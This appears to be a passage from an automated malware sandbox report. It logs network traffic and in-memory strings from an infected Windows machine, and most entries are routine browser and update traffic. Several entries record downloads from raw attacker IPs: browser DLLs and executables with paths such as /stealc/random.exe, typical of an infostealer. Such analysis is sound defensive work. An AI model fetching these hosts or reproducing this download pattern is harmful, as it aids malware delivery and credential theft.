Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722386362&P2=404&P3=2&P4=FcAs9oxAfHfRNB4CyStL%2fKKxotMQq7EIfofzSA30NAlQgIa6i6AGI4MFQz6radZvxIx3tF8i5oBSnB5uY%2fyGpQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: HIIR85MT4C/8p9EpKsWwTMSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Sx5Zl4sA8wn+Vv+&MD=hgoBhGpR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cost/go.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /selectex-file-host/OneDrive.exe HTTP/1.1Host: 185.196.10.57
Source: global traffic	HTTP traffic detected: GET /cost/num.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"V equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.1926937706.0000029000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.1926937706.0000029000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation^ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.2041475296.0000025CACDD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2042257077.0000025CAC759000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000003.1862332848.0000022EF4568000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.1868207942.0000022EF4569000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000003.1861999586.0000022EF455C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000000C.00000003.1862244864.0000022EF4570000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.1868262925.0000022EF4572000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000003.1861999586.0000022EF455C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\=C:=C:\Users\user\DesktopALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\DesktopchromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;;C:\ProgramData\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsm equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\=C:=C:\Users\user\DesktopALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\DesktopchromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;;C:\ProgramData\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowso equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2960744313.000001C0DA430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2958151625.0000028272240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000003.1862244864.0000022EF4570000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.1868262925.0000022EF4572000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000003.1861999586.0000022EF455C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows44 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2982669619.0000028272664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows. equals www.youtube.com (Youtube)
